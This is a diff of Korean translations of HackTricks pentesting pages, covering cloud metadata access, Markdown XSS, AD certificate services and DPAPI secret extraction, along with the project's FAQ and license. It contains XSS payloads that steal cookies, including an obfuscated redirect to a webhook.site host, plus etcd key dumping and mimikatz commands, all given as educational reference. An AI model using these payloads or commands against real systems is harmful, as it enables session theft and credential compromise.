> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 그렇지 않으면 **기본 MI가 사용됩니다**.
> 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 지정하지 않으면 **기본 MI가 사용됩니다**.
{{#tabs}}
{{#tab name="Bash"}}
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
## IBM Cloud
> [!WARNING]
> IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내부에 있더라도 접근할 수 없을 수 있습니다.
> IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내에 있더라도 접근할 수 없을 수 있습니다.
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
@ -552,7 +555,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
## Packetcloud
Packetcloud의 메타데이터에 접근하기 위한 문서는 다음에서 확인할 수 있습니다: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Packetcloud의 메타데이터에 접근하기 위한 문서는 다음에서 찾을 수 있습니다: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
@ -585,7 +588,7 @@ Alibaba는 인스턴스 및 이미지 ID를 포함한 메타데이터에 접근
## Kubernetes ETCD
Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 접근은 다음을 통해 보여집니다:
Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 접근 방법은 다음과 같습니다:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

10
src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
View File

@ -6,7 +6,7 @@
### HTML 태그
마크다운에서 XSS를 얻는 가장 일반적인 방법은 자바스크립트를 실행하는 일반 HTML 태그를 주입하는 것입니다. 여러 마크다운 해석기가 HTML도 수용하기 때문입니다.
마크다운에서 XSS를 얻는 가장 일반적인 방법은 자바스크립트를 실행하는 일반 HTML 태그를 주입하는 것입니다. 여러 마크다운 해석기가 HTML도 허용하기 때문입니다.
```html
<!-- XSS with regular tags -->
<script>
@ -18,7 +18,7 @@ alert(1)
### Javascript 링크
HTML 태그가 옵션이 아니라면 항상 마크다운 구문으로 시도해 볼 수 있습니다:
HTML 태그가 옵션이 아니라면 항상 markdown 구문으로 시도해 볼 수 있습니다:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

72
src/welcome/hacktricks-values-and-faq.md
View File

@ -7,15 +7,15 @@
> [!TIP]
> 이것은 **HackTricks 프로젝트의 가치**입니다:
>
> - **모든** 인터넷 사용자에게 **무료**로 **교육적인 해킹** 리소스를 제공합니다.
> - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다.
> - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다.
> - 커뮤니티에서 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
> - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다.
> - 여러 경우에 우리는 **기술의 중요한 부분에 대한 요약을 HackTricks에 작성하고** **독자가 원래 게시물을 방문하도록 권장할 것입니다**.
> - **모든** 인터넷 사용자에게 **무료** **교육 해킹** 리소스에 대한 접근을 제공합니다.
> - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다.
> - 이 책의 목적은 포괄적인 **교육 리소스**로 기능하는 것입니다.
> - 커뮤니티가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
> - **우리는 다른 사람들로부터 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다.
> - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다.
> - 여러 경우에 우리는 기술의 중요한 부분에 대한 **요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**.
> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 만듭니다.
> - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직화하는 데** 무료로 수천 시간을 헌신했습니다.
> - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직하는 데** 수천 시간을 무료로 헌신했습니다.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,15 +25,15 @@
>
> - **이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요?**
HackTricks 팀이 이러한 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하며 트윗으로 공개적으로 감사할 수 있습니다.\
특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\
특별히 감사하다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요).
> [!TIP]
>
> - **프로젝트에 어떻게 기여할 수 있나요?**
새로운 팁과 트릭을 커뮤니티와 공유하거나 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다:
커뮤니티와 **새로운 팁과 트릭을 공유하거나** 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -42,16 +42,16 @@ HackTricks 팀이 이러한 리소스를 공개적으로 모아준 것에 대해
> [!TIP]
>
> - **HackTricks의 일부 내용을 복사하여 내 블로그에 올릴 수 있나요?**
> - **HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올릴 수 있나요?**
네, 가능합니다. 하지만 **내용이 어디에서 가져온 것인지에 대한 특정 링크를 언급하는 것을 잊지 마세요.**
네, 가능합니다. 하지만 **콘텐츠가 어디에서 가져온 것인지에 대한 특정 링크를 언급하는 것을 잊지 마세요.**
> [!TIP]
>
> - **HackTricks의 페이지를 어떻게 인용할 수 있나요?**
정보를 가져온 페이지의 **링크**가 나타나기만 하면 충분합니다.\
bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다:
Bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,19 +64,19 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **내 블로그에 모든 HackTricks를 복사해도 되나요?**
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않습니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않을 것입니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
사라질까 두려우신가요? 그냥 Github에서 포크하거나 다운로드하세요. 이미 무료입니다.
사라질까 두렵다면, 그냥 Github에서 포크하거나 다운로드하세요. 이미 무료입니다.
> [!WARNING]
>
> - **왜 후원자가 있나요? HackTricks 책은 상업적 목적으로 만들어졌나요?**
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 헌신했습니다. 다시 말해, **무료**입니다.
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신**했습니다. 다시 말해, **무료**입니다.
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 잘못된 생각입니다**.
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면, **완전히 잘못된** 것입니다.
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 우리는 **커뮤니티가 우리의 작업을 감사할 수 있는 가능성을 제공하고 싶습니다**. 따라서 사람들에게 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션을 제공하고, **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재**할 수 있도록 하고 있습니다. 이 **광고**는 항상 **눈에 띄지만** 학습 과정에 **방해가 되지 않는** 곳에 배치됩니다.
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 감사할 수 있는 가능성을 제공하고 싶기 때문**입니다. 따라서 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재**할 수 있는 옵션을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다.
HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않을 것입니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
@ -94,7 +94,7 @@ HackTricks에 귀하의 페이지 링크가 있는 것은:
- 귀하의 **SEO**를 개선합니다.
- 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다.
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려합니다** (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후로 더 많은 방문을 받았다고 언급했습니다).
- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다).
그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**.
@ -102,42 +102,42 @@ HackTricks에 귀하의 페이지 링크가 있는 것은:
>
> - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?**
우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거하거나**, **텍스트 앞에 링크를 추가하거나**, **링크를 추가하여 다시 작성하겠습니다**.
우리는 항상 **원래 저자에게 모든 크레딧을 부여**합니다. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거**, **텍스트 앞에 링크 추가**, 또는 **링크를 추가하여 다시 작성**하겠습니다.
## LICENSE
Copyright © 모든 권리 보유. 별도로 명시되지 않는 한.
Copyright © 모든 권리 보유, 별도로 명시되지 않는 한.
#### 라이센스 요약:
#### License Summary:
- 저작권 표시: 귀하는 자유롭게:
- 공유 — 모든 매체나 형식으로 자료를 복사하고 재배포할 수 있습니다.
- 수정 — 자료를 리믹스하고 변형하며 기반을 구축할 수 있습니다.
- Attribution: 귀하는 자유롭게:
- Share — 모든 매체나 형식으로 자료를 복사하고 재배포할 수 있습니다.
- Adapt — 자료를 리믹스하고 변형하며 기반을 구축할 수 있습니다.
#### 추가 조건:
#### Additional Terms:
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
- 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 또는 해당 저작권 소유자의 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
- Authorship: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
#### 면제:
#### Exemptions:
- 상업적 사용: 이 콘텐츠의 상업적 사용에 대한 문의는 저에게 연락해 주십시오.
- Commercial Use: 이 콘텐츠의 상업적 사용에 대한 문의는 저에게 연락해 주십시오.
이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다.
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수하는 데 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
## **면책 조항**
## **Disclaimer**
> [!CAUTION]
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떤 종류의 진술이나 보증을 하지 않습니다. 따라서 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
>
> 저자와 출판사는 데이터 손실이나 이 책의 사용과 관련하여 발생하는 모든 손실이나 손해에 대해 어떤 경우에도 책임을 지지 않습니다.
> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실이나 손해에 대해 어떠한 경우에도 책임을 지지 않습니다.
>
> 또한 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용인하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
>
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다.
>
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책합니다.
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다.
{{#include ../banners/hacktricks-training.md}}

24
src/windows-hardening/active-directory-methodology/ad-certificates.md
View File

@ -43,7 +43,7 @@ AD 내에서 정의된 이러한 템플릿은 인증서 발급을 위한 설정
## Certificate Enrollment
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**함으로써 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
인증서 등록 프로세스는 관리자가 **인증서 템플릿을 생성**하는 것으로 시작되며, 이후 **엔터프라이즈 인증 기관(CA)**에 의해 **게시**됩니다. 이는 템플릿을 클라이언트 등록을 위해 사용할 수 있게 하며, 이는 Active Directory 객체의 `certificatetemplates` 필드에 템플릿 이름을 추가하여 달성됩니다.
클라이언트가 인증서를 요청하려면 **등록 권한**이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 엔터프라이즈 CA 자체의 보안 설명자에 의해 정의됩니다. 요청이 성공하려면 두 위치 모두에서 권한이 부여되어야 합니다.
@ -87,19 +87,19 @@ Active Directory (AD)는 인증서 인증을 지원하며, 주로 **Kerberos**
### Kerberos 인증 프로세스
Kerberos 인증 프로세스에서 사용자의 티켓 발급 티켓(TGT) 요청은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 인증서의 **유효성**, **경로**, 및 **폐기 상태**를 포함한 여러 검증을 거칩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
Kerberos 인증 프로세스에서 사용자의 Ticket Granting Ticket (TGT) 요청은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 인증서의 **유효성**, **경로**, 및 **폐기 상태**를 포함한 여러 검증을 거칩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
신뢰를 구축하는 데 중심적인 역할을 합니다.
신뢰를 구축하는 데 중앙 역할을 합니다.
### Secure Channel (Schannel) 인증
### 보안 채널 (Schannel) 인증
Schannel은 안전한 TLS/SSL 연결을 용이하게 하며, 핸드셰이크 중 클라이언트는 인증서를 제시하고, 성공적으로 검증되면 접근을 허가합니다. 인증서를 AD 계정에 매핑하는 과정은 Kerberos의 **S4U2Self** 기능이나 인증서의 **Subject Alternative Name (SAN)** 등을 포함할 수 있습니다.
Schannel은 안전한 TLS/SSL 연결을 용이하게 하며, 핸드셰이크 중 클라이언트는 인증서를 제시하고, 성공적으로 검증되면 접근을 허가합니다. 인증서를 AD 계정에 매핑하는 과정은 Kerberos의 **S4U2Self** 기능이나 인증서의 **주체 대체 이름 (SAN)** 등을 포함할 수 있습니다.
### AD 인증서 서비스 열거
AD의 인증서 서비스는 LDAP 쿼리를 통해 열거할 수 있으며, **Enterprise Certificate Authorities (CAs)** 및 그 구성에 대한 정보를 드러냅니다. 이는 특별한 권한 없이 도메인 인증된 사용자라면 누구나 접근할 수 있습니다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)**와 같은 도구는 AD CS 환경에서 열거 및 취약성 평가에 사용됩니다.
AD의 인증서 서비스는 LDAP 쿼리를 통해 열거할 수 있으며, **엔터프라이즈 인증 기관 (CAs)** 및 그 구성에 대한 정보를 드러냅니다. 이는 특별한 권한 없이 도메인 인증된 사용자라면 누구나 접근할 수 있습니다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)**와 같은 도구는 AD CS 환경에서 열거 및 취약성 평가에 사용됩니다.
이 도구를 사용하는 명령어는 다음과 같습니다:
```bash
@ -124,9 +124,9 @@ certutil -v -dstemplate
| 연도 | ID / 이름 | 영향 | 주요 사항 |
|------|-----------|--------|----------------|
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *권한 상승*을 위한 기계 계정 인증서 스푸핑. | **2022년 5월 10일** 보안 업데이트에 패치 포함. 감사 및 강력한 매핑 제어가 **KB5014754**를 통해 도입됨; 환경은 이제 *전체 시행* 모드여야 함. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *원격 코드 실행*이 AD CS 웹 등록(certsrv) 및 CES 역할에서 발생. | 공개 PoC는 제한적이지만, 취약한 IIS 구성 요소는 종종 내부에 노출됨. **2023년 7월** 패치 화요일 기준 패치. citeturn3search0 |
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 등록 권한이 있는 저권한 사용자가 CSR 생성 중 **모든** EKU 또는 SAN을 재정의할 수 있어, 클라이언트 인증 또는 코드 서명에 사용 가능한 인증서를 발급하고 *도메인 손상*으로 이어질 수 있음. | **2024년 4월** 업데이트에서 해결됨. 템플릿에서 “요청에 공급”을 제거하고 등록 권한을 제한할 것. citeturn1search3 |
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *권한 상승*을 위한 기계 계정 인증서 스푸핑. | **2022년 5월 10일** 보안 업데이트에 패치 포함. 감사 및 강력한 매핑 제어가 **KB5014754**를 통해 도입됨; 환경은 이제 *전체 시행* 모드여야 함. |
| 2023 | **CVE-2023-35350 / 35351** | *원격 코드 실행*이 AD CS 웹 등록(certsrv) 및 CES 역할에서 발생. | 공개 PoC는 제한적이지만, 취약한 IIS 구성 요소는 종종 내부에 노출됨. **2023년 7월** 패치 화요일 기준 패치. |
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 등록 권한이 있는 저권한 사용자가 CSR 생성 중 **모든** EKU 또는 SAN을 재정의할 수 있어 클라이언트 인증 또는 코드 서명에 사용 가능한 인증서를 발급하고 *도메인 손상*으로 이어질 수 있음. | **2024년 4월** 업데이트에서 해결됨. 템플릿에서 “요청에 공급”을 제거하고 등록 권한을 제한할 것. |
### Microsoft 강화 일정 (KB5014754)
@ -134,15 +134,15 @@ Microsoft는 Kerberos 인증서를 약한 암시적 매핑에서 벗어나기
1. 모든 DC 및 AD CS 서버를 패치합니다(2022년 5월 또는 이후).
2. *감사* 단계에서 약한 매핑에 대해 이벤트 ID 39/41을 모니터링합니다.
3. 2025년 2월 이전에 새로운 **SID 확장**으로 클라이언트 인증서를 재발급하거나 강력한 수동 매핑을 구성합니다. citeturn2search0
3. 2025년 2월 이전에 새로운 **SID 확장**으로 클라이언트 인증서를 재발급하거나 강력한 수동 매핑을 구성합니다.
---
## 탐지 및 강화 개선 사항
* **Defender for Identity AD CS 센서 (2023-2024)**는 이제 ESC1-ESC8/ESC11에 대한 자세한 평가를 제공하고 *“비 DC에 대한 도메인 컨트롤러 인증서 발급”* (ESC8) 및 *“임의의 애플리케이션 정책으로 인증서 등록 방지”* (ESC15)와 같은 실시간 경고를 생성합니다. 이러한 탐지를 활용하기 위해 모든 AD CS 서버에 센서를 배포해야 합니다. citeturn5search0
* **Defender for Identity AD CS 센서 (2023-2024)**는 이제 ESC1-ESC8/ESC11에 대한 자세한 평가를 제공하고 *“비 DC에 대한 도메인 컨트롤러 인증서 발급”* (ESC8) 및 *“임의의 애플리케이션 정책으로 인증서 등록 방지”* (ESC15)와 같은 실시간 경고를 생성합니다. 이러한 탐지를 활용하기 위해 모든 AD CS 서버에 센서를 배포해야 합니다.
* 모든 템플릿에서 **“요청에 공급”** 옵션을 비활성화하거나 엄격하게 범위를 제한합니다; 명시적으로 정의된 SAN/EKU 값을 선호합니다.
* 템플릿에서 **모든 목적** 또는 **EKU 없음**을 제거합니다(ESC2 시나리오 해결).
* 템플릿에서 **Any Purpose** 또는 **No EKU**를 제거합니다(절대 필요한 경우 제외, ESC2 시나리오 해결).
* 민감한 템플릿(예: WebServer / CodeSigning)에 대해 **관리자 승인** 또는 전용 등록 에이전트 워크플로를 요구합니다.
* 웹 등록(`certsrv`) 및 CES/NDES 엔드포인트를 신뢰할 수 있는 네트워크로 제한하거나 클라이언트 인증서 인증 뒤에 배치합니다.
* ESC11을 완화하기 위해 RPC 등록 암호화(`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`)를 시행합니다.

56
src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
View File

@ -14,7 +14,7 @@ DPAPI를 사용하는 가장 일반적인 방법은 **`CryptProtectData` 및 `Cr
### 사용자 키 생성
DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-key`**라고 함)를 생성합니다. 이 키는 사용자의 비밀번호와 기타 요소에서 파생되며, 알고리즘은 사용자 유형에 따라 다르지만 최종적으로 SHA1이 됩니다. 예를 들어, 도메인 사용자의 경우 **사용자의 HTLM 해시에 따라 다릅니다**.
DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-key`**라고 함)를 생성합니다. 이 키는 사용자의 비밀번호 및 기타 요소에서 파생되며, 알고리즘은 사용자 유형에 따라 다르지만 최종적으로 SHA1이 됩니다. 예를 들어, 도메인 사용자의 경우 **사용자의 HTLM 해시에 따라 다릅니다**.
이는 공격자가 사용자의 비밀번호 해시를 얻을 수 있다면 다음을 수행할 수 있기 때문에 특히 흥미롭습니다:
@ -25,7 +25,7 @@ DPAPI는 각 사용자의 자격 증명을 기반으로 고유한 키( **`pre-ke
마스터 키는 **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** 디렉토리에 저장되며, 여기서 `{SID}`는 해당 사용자의 보안 식별자입니다. 마스터 키는 사용자의 **`pre-key`**로 암호화되어 저장되며, 복구를 위해 **도메인 백업 키**로도 암호화되어 저장됩니다(즉, 동일한 키가 2개의 서로 다른 비밀번호로 2번 암호화되어 저장됨).
마스터 키를 암호화하는 데 사용되는 **도메인 키는 도메인 컨트롤러에 있으며 절대 변경되지 않습니다**, 따라서 공격자가 도메인 컨트롤러에 접근할 수 있다면 도메인 백업 키를 검색하고 도메인 내 모든 사용자의 마스터 키를 복호화할 수 있습니다.
도메인 키는 마스터 키를 암호화하는 데 사용되며 도메인 컨트롤러에 있으며 절대 변경되지 않으므로, 공격자가 도메인 컨트롤러에 접근할 수 있다면 도메인 백업 키를 검색하고 도메인 내 모든 사용자의 마스터 키를 복호화할 수 있습니다.
암호화된 블롭은 데이터 암호화에 사용된 **마스터 키의 GUID**를 헤더에 포함하고 있습니다.
@ -47,12 +47,12 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
### 머신/시스템 키 생성
이 키는 머신이 데이터를 암호화하는 데 사용됩니다. 이는 **DPAPI_SYSTEM LSA 비밀**을 기반으로 하며, 이 비밀은 오직 SYSTEM 사용자만 접근할 수 있는 특별한 키입니다. 이 키는 머신 수준의 자격 증명이나 시스템 전반의 비밀과 같이 시스템 자체에서 접근해야 하는 데이터를 암호화하는 데 사용됩니다.
이 키는 머신이 데이터를 암호화하는 데 사용됩니다. **DPAPI_SYSTEM LSA 비밀**을 기반으로 하며, 이는 SYSTEM 사용자만 접근할 수 있는 특별한 키입니다. 이 키는 머신 수준의 자격 증명이나 시스템 전체 비밀과 같이 시스템 자체에서 접근해야 하는 데이터를 암호화하는 데 사용됩니다.
이 키는 **도메인 백업이 없으므로** 로컬에서만 접근할 수 있다는 점에 유의하십시오:
- **Mimikatz**는 다음 명령어를 사용하여 LSA 비밀을 덤프하여 접근할 수 있습니다: `mimikatz lsadump::secrets`
- 이 비밀은 레지스트리에 저장되므로, 관리자는 **접근하기 위해 DACL 권한을 수정할 수 있습니다**. 레지스트리 경로는: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`입니다.
